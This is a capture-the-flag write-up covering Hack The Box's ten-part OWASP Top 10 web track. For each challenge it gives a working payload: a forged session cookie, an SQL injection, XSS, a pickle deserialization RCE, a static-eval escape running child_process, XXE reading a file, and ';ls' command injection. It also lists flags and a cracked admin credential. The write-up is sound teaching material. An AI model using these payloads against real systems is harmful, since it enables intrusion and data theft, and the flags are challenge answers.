HTB OWASP Top 10 Track Writeup: Ten Web Challenges in One Roundup

This post combines my Hack The Box OWASP Top 10 track notes into one roundup, but keeps the solve flow close to the original Markdown. Each mini-challenge isolates one web security issue: session integrity, SQL injection, XSS, insecure deserialization, broken access control, information disclosure, debug exposure, vulnerable dependency usage, XXE, and command injection.

Baby Auth: Broken Session Integrity

Challenge: Who needs session integrity these days?

After registering and logging in, I found that the application used a cookie to manage the session. The cookie was Base64 encoded, so I decoded it and saw that the username was stored directly in the client-controlled value.

dcode eyJ1c2VybmFtZSI6ImEifQ%3D%3D

I then created a new encoded cookie with the username changed to admin. Replacing the cookie gave access to the flag.

Answer: HTB{s3ss10n_1nt3grity_1s_0v3r4tt3d_4nyw4ys}

Sanitize: SQL Injection

Challenge: Can you escape the query context and log in as admin?

The login query trusted user input in the SQL context. A simple tautology and comment sequence allowed the password condition to be bypassed.

SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- AND password = '1';

Answer: HTB{SQL_1nj3ct1ng_my_w4y_0utta_h3r3}

Full Stack Conf: Cross-Site Scripting

Challenge: The site has a stay-up-to-date form and does not sanitize input.

I submitted a basic script payload to confirm that input was being rendered as executable JavaScript in the browser context.

<script>alert('1');</script>

Answer: HTB{p0p..p0p..p0p...alert(1337)}

Baby Website Rick: Insecure Deserialization

Challenge: Find the anti-pickle serum stored somewhere safe.

The application hinted at Python pickle usage. Browser storage showed a Base64-encoded cookie containing a serialized pickle object.

dcode KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu

I crafted a pickle payload whose reduce method executed a command to read the flag file, encoded it, and replaced the original cookie.

import subprocess
import cPickle
from base64 import b64encode

class Exploit(object):
    def __reduce__(self):
        return (subprocess.check_output, (['cat', 'flag_wIp1b'],))

if __name__ == '__main__':
    shellcode = cPickle.dumps({"serum": Exploit()}, protocol=0)
    encoded_shellcode = b64encode(shellcode)
    print(encoded_shellcode)

Answer: HTB{g00d_j0b_m0rty...n0w_I_h4v3_to_g0_to_f4m1ly_th3r4py..}

Baby Todo Or Not Todo: Broken Access Control

Challenge: HR todo lists are exposed through weak authorization logic.

After adding a todo item and intercepting the traffic in Burp Suite, I saw that the path included both a username and a secret. Changing the username value to all exposed all todo lists in the system.

Answer: HTB{l3ss_ch0r3s_m0r3_h4ck1ng...right?!!1}

Baby Nginxatsu: Exposed Backup and Credential Reuse

Challenge: Find a way to log in as the website administrator.

After registering and logging in, I found an Nginx configuration generator. The generated configuration revealed a hidden /storage path. That path exposed a database backup archive.

tar -xvf v1_db_backup_1604123342.tar.gz

I extracted the archive, inspected the SQLite database, found the user password hash, cracked it with CrackStation, and logged in with the administrator credentials.

Credentials: nginxatsu-adm-01@makelarid.es:adminadmin1

Answer: HTB{ng1ngx_r34lly_b3_sp1ll1ng_my_w3ll_h1dd3n_s3cr3ts??}

Baby BoneChewerCon: Debug Mode in Production

Challenge: The site errors out while debugger output is still enabled in production.

Submitting data into the reservation form triggered an application error. The response exposed debug information, which should never be available in a production environment.

Answer: HTB{wh3n_th3_d3bugg3r_turns_4g41nst_th3_d3bugg33}

Baby Breaking Grad: Vulnerable Dependency and Unsafe Evaluation

Challenge: Abuse the grading formula logic.

When the website itself did not immediately expose a path, I reviewed the provided source code. StudentHelper.js parsed a formula with Esprima and evaluated it with static-eval. The package.json showed static-eval version 2.0.2, which has known unsafe evaluation issues.

const evaluate = require('static-eval');
const parse = require('esprima').parse;

module.exports = {
    hasPassed({ exam, paper, assignment }, formula) {
        let ast = parse(formula).body[0].expression;
        let weight = evaluate(ast, { exam, paper, assignment });
        return parseFloat(weight) >= parseFloat(10.5);
    }
};

I used a crafted formula payload to reach command execution and list/read the target files.

{
  "name":"whatevs",
  "formula": "(function myTag(y){return ''[!y?'__proto__':'constructor'][y]})('constructor')('throw new Error(global.process.mainModule.constructor._load("child_process").execSync("ls"))')()"
}

Answer: HTB{f33l1ng_4_l1ttl3_blu3_0r_m4yb3_p1nk?...you_n33d_to_b3h4v'eval!!}

Baby WAFfles Order: XXE

Challenge: The ordering API accepts JSON and XML.

Intercepting an order request showed XML support. Reading OrderController.php confirmed that XML input was parsed with LIBXML_NOENT, which enables entity expansion and makes XXE possible.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
<order>
    <food>&xxe;</food>
</order>

Answer: HTB{wh0_l3t_th3_XX3_0ut??w00f..w00f..w00f..WAFfles!}

Looking Glass: Command Injection

Challenge: The site exposes a networking tool.

I intercepted the request in Burp Suite and found that the IP address field was passed into a shell command unsafely. Appending a command separator allowed command injection.

test=ping&ip_address=10.30.12.231;+ls

After exploring the server with the injection, I found the flag.

Answer: HTB{I_f1n4lly_l00k3d_thr0ugh_th3_rc3}

Final Takeaways

1. Client-controlled identity, unsigned cookies, and exposed backups quickly become full compromise paths.
2. Injection bugs usually come from crossing a trust boundary into an interpreter: SQL, JavaScript, XML, pickle, or shell.
3. Source review is often faster than guessing when a challenge provides code.
4. Debug output and old dependencies are practical security issues, not just checklist findings.